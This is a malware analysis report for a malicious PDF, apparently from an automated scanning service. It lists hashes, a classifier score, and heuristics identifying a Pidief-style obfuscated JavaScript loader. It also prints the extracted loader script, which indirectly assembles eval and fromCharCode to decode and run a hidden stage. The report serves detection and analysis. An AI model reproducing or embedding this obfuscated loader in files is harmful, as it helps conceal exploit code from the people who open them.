Malicious PDF — malware analysis report

Static analysis result for SHA-256 30c6c33ec095b9e8…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2026-05-08
MD5: 3b59acacd0be2d634ab7301cc4139d8c SHA-1: 151a538c7f15fa0a322efc48de6ce12d6e8b9491 SHA-256: 30c6c33ec095b9e8707a49f73a44bc5655bd77f2d41157ec150be6cee8f4b3ea
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1A8 481 bytes
SHA-256: 5cf3fce849bf66d25cc9466cb435787f605271db5bfb25043155c7b410876cc8
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('|','a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[2],t[0]);
e=v[v]()[s];
dtzaw=e(v[4]+'i'.concat(v[4],t));
q=dtzaw[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.fro';
d+=q;
bshzq=e(d);
q=dtzaw[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en'+'gth')];
i=t.length-2;
while(i<k){
	fruz = 1*(q[i]);
	i++;
	fruz -= (-1)*(q[i]);
	s2 += bshzq(fruz);
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.